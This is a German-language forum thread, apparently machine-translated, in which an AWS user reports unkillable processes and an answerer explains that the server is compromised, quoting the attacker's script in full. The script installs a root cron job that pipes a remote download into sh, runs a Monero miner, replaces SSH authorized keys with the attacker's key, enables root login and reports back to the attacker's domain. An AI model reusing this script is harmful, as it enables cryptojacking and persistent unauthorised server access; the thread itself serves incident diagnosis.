Ich benutze AWS und die letzten paar Tage sehe ich einige unnötige Skripte laufen. Folgendes ist Screenshot beigefügt.AWS unnötiges Skript
Ich habe versucht, diesen Prozess von sudo kill -9 {pId} getötet, aber nicht in der Lage, dies zu tun.
Ich benutze AWS und die letzten paar Tage sehe ich einige unnötige Skripte laufen. Folgendes ist Screenshot beigefügt.AWS unnötiges Skript
Ich habe versucht, diesen Prozess von sudo kill -9 {pId} getötet, aber nicht in der Lage, dies zu tun.
Ihr Feld kompromittiert wurde.
Es lädt ein Skript auf den Server und führt es
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" > /var/spool/cron/root
echo "*/2 * * * * ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr &" >> /var/spool/cron/root
# echo "*/2 * * * * ps auxf | grep -v grep | grep gg2lady || nohup /opt/gg2lady &" >> /var/spool/cron/root
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi
if [ ! -f "/opt/yam/yam" ]; then
mkdir -p /opt/yam
curl -f -L https://r.chanstring.com/api/download/yam -o /opt/yam/yam
chmod +x /opt/yam/yam
# /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr
fi
# if [ ! -f "/opt/gg2lady" ]; then
# curl -f -L https://r.chanstring.com/api/download/gg2lady_`uname -i` -o /opt/gg2lady
# chmod +x /opt/gg2lady
# fi
pkill gg2lady
yam=$(ps auxf | grep yam | grep -v grep | wc -l)
gg2lady=$(ps auxf | grep gg2lady | grep -v grep | wc -l)
cpu=$(cat /proc/cpuinfo | grep processor | wc -l)
curl https://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg2lady=$gg2lady\&arch=`uname -i`
Wie Sie es löscht alle SSH-Schlüssel sehen und schafft ein neues für die Angreifer einzuloggen.
Am Ende des Skripts meldet er seinen Status curl https://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg2lady=$gg2lady\&arch=
uname -i`
dieser Server wieder, so dass sie überhaupt gefährdet Servern aussehen kann, wenn ich denke,
Edit: Die Domain ist in Panama registriert. Whoopsie. Ich denke, du solltest deinen Server überprüfen und ein paar Tipps bezüglich der Sicherheit bekommen.
Sie haben Recht. Also was soll ich tun? Wie haben sie das gemacht? –
Kann nicht sagen, was sie verwendet haben, um dies auf Ihrem Server zu erhalten, aber es ist ein Dienst entweder installiert, der eine Hintertür hat oder das System selbst hat eine Schwachstelle – KRONWALLED
Wie kann ich das stoppen? Irgendeine Idee ? oder von wo sie das installiert haben? –
Verwenden Sie keine SSH-Schlüssel? –